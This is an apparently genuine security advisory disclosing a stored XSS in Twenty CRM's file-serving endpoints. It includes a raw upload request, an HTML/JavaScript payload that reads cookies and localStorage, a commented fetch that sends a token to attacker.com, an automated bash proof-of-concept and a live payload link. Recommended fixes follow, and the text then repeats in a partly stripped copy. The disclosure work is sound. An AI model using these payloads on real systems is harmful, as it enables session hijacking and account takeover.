Summary
The file serving endpoints in Twenty CRM through 1.18.0 at /files/* and /file/:fileFolder/:id serve uploaded files using fileStream.pipe(res) without setting any Content-Type, Content-Disposition, or X-Content-Type-Options response headers. This allows an authenticated attacker to upload an HTML file containing JavaScript, which will be rendered by the victim's browser in the context of the Twenty CRM domain when accessed — enabling session hijacking, account takeover, and data theft.
Vulnerable Code
File 1: packages/twenty-server/src/engine/core-modules/file/controllers/file.controller.ts (line 54)
@Get('*path')
@UseGuards(FilePathGuard, NoPermissionGuard)
async getFile(@Res() res: Response, @Req() req: Request) {
const fileStream = await this.fileService.getFileStream(rawFolder, filename, workspaceId);
fileStream.pipe(res); // NO Content-Type header, NO Content-Disposition
}
File 2: packages/twenty-server/src/engine/core-modules/file/controllers/file-by-id.controller.ts (line 60)
@Get(':fileFolder/:id')
@UseGuards(FileByIdGuard, NoPermissionGuard)
async getFileById(@Res() res: Response, @Req() req: Request, ...) {
const fileStream = await this.fileService.getFileStreamById({fileId, workspaceId, fileFolder});
fileStream.pipe(res); // NO Content-Type header, NO Content-Disposition
}
File sanitization only covers SVG files:
packages/twenty-server/src/engine/core-modules/file/utils/sanitize-file.utils.ts
export const sanitizeFile = ({file, ext, mimeType}) => {
if (ext === 'svg' || mimeType === 'image/svg+xml') {
// Only SVGs are sanitized with DOMPurify
return purify.sanitize(fileString);
}
return file; // HTML, XML, and all other files pass through unchanged
};
Permission model — Member role can upload:
packages/twenty-server/src/engine/core-modules/file/file-workflow/resolvers/file-workflow.resolver.ts (line 28)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.UPLOAD_FILE)) // Tool permission
The UPLOAD_FILE flag is a "tool permission," and the default Member role has canAccessAllTools: true.
Root Cause
Both file serving controllers call fileStream.pipe(res) without setting any HTTP response headers. Express.js does not automatically set Content-Type when piping a stream to the response. Combined with no file type validation on the uploadWorkflowFile mutation, this allows arbitrary HTML to be stored and served inline from the application origin.
Steps to Reproduce
Test Environment Access
| Field |
Value |
| Application URL |
http://localhost:3000 |
| Admin account |
poc@example.com / PoCPass123! |
| Attacker (Member) account |
member@example.com / MemberPass123! |
| Workspace ID |
dc264126-cc14-4483-972f-7c1468a37394 |
Step 1: Log in as the attacker (Member-role user)
- Open a browser with Burp Suite proxy configured
- Navigate to
http://localhost:3000 and log in with member@example.com / MemberPass123!
- In Burp Suite Proxy > HTTP History, find a
POST /metadata request containing an Authorization: Bearer <token> header
- Copy the Bearer token value — this is the Member's access token
Step 2: Upload an HTML payload via Burp Repeater (as Member)
- In Burp Suite, go to the Repeater tab
- Set target to
localhost:3000
- Paste the following request (replace
<MEMBER_ACCESS_TOKEN> with the Bearer token from Step 1):
POST /metadata HTTP/1.1
Host: localhost:3000
Authorization: Bearer <MEMBER_ACCESS_TOKEN>
Content-Type: multipart/form-data; boundary=----XSSPoC
------XSSPoC
Content-Disposition: form-data; name="operations"
{"query":"mutation($file: Upload!) { uploadWorkflowFile(file: $file) { id path size url } }","variables":{"file":null}}
------XSSPoC
Content-Disposition: form-data; name="map"
{"0":["variables.file"]}
------XSSPoC
Content-Disposition: form-data; name="0"; filename="poc.html"
Content-Type: image/png
<html><body>
<h1>Stored XSS PoC</h1>
<script>
document.write("<p>XSS on domain: <b>" + document.domain + "</b></p>");
document.write("<p>Cookie: " + document.cookie + "</p>");
document.write("<p>LocalStorage keys: " + Object.keys(localStorage).join(", ") + "</p>");
// Real attack: fetch('https://attacker.com/steal?token=' + localStorage.getItem('TOKEN'))
</script>
</body></html>
------XSSPoC--
- Click Send
Confirmed Upload Response (from Member account)
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
{"data":{"uploadWorkflowFile":{"id":"34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4","path":"workflow/34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4.html","size":120,"url":"http://localhost:3000/file/workflow/34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4?token=eyJ..."}}}
The server accepted the HTML file upload from a Member-role user without any file type validation.
Step 3: Access the uploaded file and verify missing headers
- Copy the
url value from the upload response
- In Burp Repeater, send a new request:
GET /file/workflow/34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4?token=<FILE_JWT_TOKEN> HTTP/1.1
Host: localhost:3000
- Click Send
Confirmed Response (Burp Repeater)
Response headers:
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Date: Sat, 14 Mar 2026 12:04:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Response body:
<html><body><h1>Member XSS PoC</h1><script>document.write("XSS by MEMBER on: " + document.domain)</script></body></html>
Critical observation — Missing security headers:
- No
Content-Type header — the browser MIME-sniffs the body and detects text/html
- No
Content-Disposition: attachment — the file renders inline instead of downloading
- No
X-Content-Type-Options: nosniff — MIME sniffing is not disabled
Step 4: Confirm XSS in browser
- Copy the full file URL from the upload response (Step 2)
- Paste it into the browser address bar (same browser where you're logged into Twenty CRM as any user, including admin)
- The page renders the HTML and the JavaScript executes:
- Shows
"XSS by MEMBER on: localhost" (confirming same-origin execution)
- Shows the cookies and localStorage keys (confirming session access)
Attack Scenario: Member-to-Admin Privilege Escalation
- Attacker (a Member-role CRM user) uploads an HTML file with a token-stealing payload using the
uploadWorkflowFile mutation
- Attacker extracts the file URL from the response and sends it to an admin (e.g., in a CRM note, email, or message: "Can you review this report? http://your-crm.com/file/workflow/abc123?token=xyz")
- Admin clicks the link — browser renders the HTML on the CRM origin — JavaScript executes in the admin's session
- The payload steals the admin's JWT access token and refresh token, sending them to
attacker.com
- Attacker uses the stolen admin tokens to make API calls with full admin privileges — accessing all workspace settings, user management, and CRM data
Alternative: Automated Repro Script
#!/bin/bash
# Twenty CRM - Stored XSS via File Upload PoC (Member -> Admin escalation)
# Author: @thesanjok
# Requires: curl, python3
SERVER="http://localhost:3000"
# Step 1: Authenticate as MEMBER (not admin!)
echo "[*] Authenticating as member@example.com (Member role)..."
LOGIN_TOKEN=$(python3 -c "
import json, urllib.request
data = json.dumps({'query': 'mutation { getLoginTokenFromCredentials(email: \"member@example.com\", password: \"MemberPass123!\", origin: \"$SERVER\") { loginToken { token } } }'}).encode()
req = urllib.request.Request('$SERVER/metadata', data=data, headers={'Content-Type': 'application/json'})
print(json.loads(urllib.request.urlopen(req).read())['data']['getLoginTokenFromCredentials']['loginToken']['token'])
")
AT=$(python3 -c "
import json, urllib.request
data = json.dumps({'query': 'mutation { getAuthTokensFromLoginToken(loginToken: \"$LOGIN_TOKEN\", origin: \"$SERVER\") { tokens { accessOrWorkspaceAgnosticToken { token } } } }'}).encode()
req = urllib.request.Request('$SERVER/metadata', data=data, headers={'Content-Type': 'application/json'})
print(json.loads(urllib.request.urlopen(req).read())['data']['getAuthTokensFromLoginToken']['tokens']['accessOrWorkspaceAgnosticToken']['token'])
")
echo "[+] Member access token obtained"
# Step 2: Create XSS payload
cat > /tmp/xss_poc.html << 'HTMLEOF'
<html><body>
<h1>Stored XSS PoC - Uploaded by Member</h1>
<script>
document.write("<p>XSS executed on domain: <b>" + document.domain + "</b></p>");
document.write("<p>Cookie: " + document.cookie + "</p>");
document.write("<p>LocalStorage: " + JSON.stringify(localStorage) + "</p>");
</script>
</body></html>
HTMLEOF
# Step 3: Upload HTML file as Member
echo "[+] Uploading HTML payload as Member..."
UPLOAD_RESULT=$(curl -s -X POST "$SERVER/metadata" \
-H "Authorization: Bearer $AT" \
-F 'operations={"query":"mutation($file: Upload!) { uploadWorkflowFile(file: $file) { id path size url } }","variables":{"file":null}}' \
-F 'map={"0":["variables.file"]}' \
-F '0=@/tmp/xss_poc.html;type=image/png;filename=poc.html')
FILE_URL=$(echo "$UPLOAD_RESULT" | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['uploadWorkflowFile']['url'])")
echo "[+] File URL (send this to victim): $FILE_URL"
# Step 4: Verify missing headers
echo ""
echo "=== RESPONSE HEADERS (note: NO Content-Type, NO Content-Disposition) ==="
curl -s -D - "$FILE_URL" -o /dev/null
echo ""
# Step 5: Show served content
echo "=== RESPONSE BODY (HTML+JS served verbatim from Member upload) ==="
curl -s "$FILE_URL"
echo ""
echo ""
echo "[+] Send the File URL to an admin user — when they open it, JS executes in their session"
POC for Local Instance:
PoC for Cloud instance:
I attempted to reproduce this on the cloud-hosted instance at https://lucky-beige-lion.twenty.com. The HTML file was successfully uploaded by a Member-role user via the uploadWorkflowFile mutation and served back with <script> tags fully intact — no sanitization or file type restriction.
However, the initial PoC did not trigger in the browser because the cloud instance sits behind Cloudflare, which injects X-Content-Type-Options: nosniff in the response. Since the application does not set a Content-Type header at all, the browser refuses to render the response as HTML when nosniff is present.
To confirm the underlying vulnerability, I stripped the X-Content-Type-Options: nosniff header from the response using Burp Suite (Match and Replace rule) and the XSS alert fired successfully — screenshot attached.
This confirms the application code is still vulnerable. The file.controller.ts still uses fileStream.pipe(res) without setting Content-Type, Content-Disposition, or X-Content-Type-Options headers. The nosniff protection on cloud is entirely from Cloudflare infrastructure and is not present in the application itself. Any self-hosted deployment (Docker, bare-metal, or behind a reverse proxy without this header) is fully exploitable in all browsers without any workaround.
POC Link:
https://api.twenty.com/file/workflow/2086cb72-53cd-4bd9-b893-61da243508f7?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3b3Jrc3BhY2VJZCI6IjA3MDA5YTMxLWI4NmMtNDYxMS1hNmVkLTJkZjg5NGI3YTRiMyIsImZpbGVJZCI6IjIwODZjYjcyLTUzY2QtNGJkOS1iODkzLTYxZGEyNDM1MDhmNyIsInN1YiI6IjA3MDA5YTMxLWI4NmMtNDYxMS1hNmVkLTJkZjg5NGI3YTRiMyIsInR5cGUiOiJGSUxFIiwiaWF0IjoxNzczNTEwNDI4LCJleHAiOjE3NzM1OTY4Mjh9.3SW4Sz5VRn6gNeFXc3e6eI-dbhZLWMzz2HKQxPKwe1s
Impact
- Stored XSS on the main application domain: The uploaded HTML file is served from
http://<twenty-instance>/file/... — the same origin as the CRM application. JavaScript in the file executes with full access to the user's session.
- Session hijacking: The attacker's script can access
document.cookie, localStorage, and sessionStorage which contain JWT tokens and refresh tokens.
- Account takeover: With stolen tokens, the attacker can impersonate the victim and perform any action they can — including admin actions if the victim is an admin.
- Data exfiltration: The attacker's script can make authenticated API calls to extract all CRM data (contacts, companies, deals, etc.).
- Privilege escalation: A low-privilege Member can steal an Admin's session tokens and escalate to full admin access.
Additional Context
- The
uploadWorkflowFile mutation accepts ANY file type — HTML, SVG payloads will work since SVG sanitization only runs when ext === 'svg'; uploading as .html bypasses it
- Some upload mutations like
uploadWorkspaceMemberProfilePicture validate MIME type against file content, but uploadWorkflowFile does not
- File tokens (
?token=<JWT>) embedded in the URL are shareable — the token is scoped to workspace+file, NOT to the uploader's identity. Any user with the URL can access the file
- The file token has a 24-hour expiry, giving the attacker a wide window for social engineering
- The
Access-Control-Allow-Origin: * header on the response further weakens any cross-origin protections
- The attacker only needs the default Member role (
canAccessAllTools: true) — no admin privileges required
Recommended Fix
- Set
Content-Type based on the stored file's MIME type or extension.
- Set
Content-Disposition: attachment; filename="..." for all non-image file types to force download instead of inline rendering.
- Set
X-Content-Type-Options: nosniff globally to prevent MIME sniffing.
- Extend sanitization beyond SVGs to include HTML, XML, and other script-capable formats.
- Serve user-uploaded files from a separate domain (e.g.,
files.twenty.com) to isolate XSS from the main application.
- Add file type allowlisting to
uploadWorkflowFile to reject HTML, XML, and other executable content types.
Summary
The file serving endpoints in Twenty CRM through 1.18.0 at
/files/*and/file/:fileFolder/:idserve uploaded files usingfileStream.pipe(res)without setting anyContent-Type,Content-Disposition, orX-Content-Type-Optionsresponse headers. This allows an authenticated attacker to upload an HTML file containing JavaScript, which will be rendered by the victim's browser in the context of the Twenty CRM domain when accessed — enabling session hijacking, account takeover, and data theft.Vulnerable Code
File 1:
packages/twenty-server/src/engine/core-modules/file/controllers/file.controller.ts(line 54)File 2:
packages/twenty-server/src/engine/core-modules/file/controllers/file-by-id.controller.ts(line 60)File sanitization only covers SVG files:
packages/twenty-server/src/engine/core-modules/file/utils/sanitize-file.utils.tsPermission model — Member role can upload:
packages/twenty-server/src/engine/core-modules/file/file-workflow/resolvers/file-workflow.resolver.ts(line 28)The
UPLOAD_FILEflag is a "tool permission," and the default Member role hascanAccessAllTools: true.Root Cause
Both file serving controllers call
fileStream.pipe(res)without setting any HTTP response headers. Express.js does not automatically setContent-Typewhen piping a stream to the response. Combined with no file type validation on theuploadWorkflowFilemutation, this allows arbitrary HTML to be stored and served inline from the application origin.Steps to Reproduce
Test Environment Access
http://localhost:3000poc@example.com/PoCPass123!member@example.com/MemberPass123!dc264126-cc14-4483-972f-7c1468a37394Step 1: Log in as the attacker (Member-role user)
http://localhost:3000and log in withmember@example.com/MemberPass123!POST /metadatarequest containing anAuthorization: Bearer <token>headerStep 2: Upload an HTML payload via Burp Repeater (as Member)
localhost:3000<MEMBER_ACCESS_TOKEN>with the Bearer token from Step 1):Confirmed Upload Response (from Member account)
The server accepted the HTML file upload from a Member-role user without any file type validation.
Step 3: Access the uploaded file and verify missing headers
urlvalue from the upload responseConfirmed Response (Burp Repeater)
Response headers:
Response body:
Critical observation — Missing security headers:
Content-Typeheader — the browser MIME-sniffs the body and detectstext/htmlContent-Disposition: attachment— the file renders inline instead of downloadingX-Content-Type-Options: nosniff— MIME sniffing is not disabledStep 4: Confirm XSS in browser
"XSS by MEMBER on: localhost"(confirming same-origin execution)Attack Scenario: Member-to-Admin Privilege Escalation
uploadWorkflowFilemutationattacker.comAlternative: Automated Repro Script
POC for Local Instance:
PoC for Cloud instance:
I attempted to reproduce this on the cloud-hosted instance at https://lucky-beige-lion.twenty.com. The HTML file was successfully uploaded by a Member-role user via the uploadWorkflowFile mutation and served back with <script> tags fully intact — no sanitization or file type restriction.
However, the initial PoC did not trigger in the browser because the cloud instance sits behind Cloudflare, which injects X-Content-Type-Options: nosniff in the response. Since the application does not set a Content-Type header at all, the browser refuses to render the response as HTML when nosniff is present.
To confirm the underlying vulnerability, I stripped the X-Content-Type-Options: nosniff header from the response using Burp Suite (Match and Replace rule) and the XSS alert fired successfully — screenshot attached.
This confirms the application code is still vulnerable. The file.controller.ts still uses fileStream.pipe(res) without setting Content-Type, Content-Disposition, or X-Content-Type-Options headers. The nosniff protection on cloud is entirely from Cloudflare infrastructure and is not present in the application itself. Any self-hosted deployment (Docker, bare-metal, or behind a reverse proxy without this header) is fully exploitable in all browsers without any workaround.
POC Link:
https://api.twenty.com/file/workflow/2086cb72-53cd-4bd9-b893-61da243508f7?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3b3Jrc3BhY2VJZCI6IjA3MDA5YTMxLWI4NmMtNDYxMS1hNmVkLTJkZjg5NGI3YTRiMyIsImZpbGVJZCI6IjIwODZjYjcyLTUzY2QtNGJkOS1iODkzLTYxZGEyNDM1MDhmNyIsInN1YiI6IjA3MDA5YTMxLWI4NmMtNDYxMS1hNmVkLTJkZjg5NGI3YTRiMyIsInR5cGUiOiJGSUxFIiwiaWF0IjoxNzczNTEwNDI4LCJleHAiOjE3NzM1OTY4Mjh9.3SW4Sz5VRn6gNeFXc3e6eI-dbhZLWMzz2HKQxPKwe1s
Impact
http://<twenty-instance>/file/...— the same origin as the CRM application. JavaScript in the file executes with full access to the user's session.document.cookie,localStorage, andsessionStoragewhich contain JWT tokens and refresh tokens.Additional Context
uploadWorkflowFilemutation accepts ANY file type — HTML, SVG payloads will work since SVG sanitization only runs whenext === 'svg'; uploading as.htmlbypasses ituploadWorkspaceMemberProfilePicturevalidate MIME type against file content, butuploadWorkflowFiledoes not?token=<JWT>) embedded in the URL are shareable — the token is scoped to workspace+file, NOT to the uploader's identity. Any user with the URL can access the fileAccess-Control-Allow-Origin: *header on the response further weakens any cross-origin protectionscanAccessAllTools: true) — no admin privileges requiredRecommended Fix
Content-Typebased on the stored file's MIME type or extension.Content-Disposition: attachment; filename="..."for all non-image file types to force download instead of inline rendering.X-Content-Type-Options: nosniffglobally to prevent MIME sniffing.files.twenty.com) to isolate XSS from the main application.uploadWorkflowFileto reject HTML, XML, and other executable content types.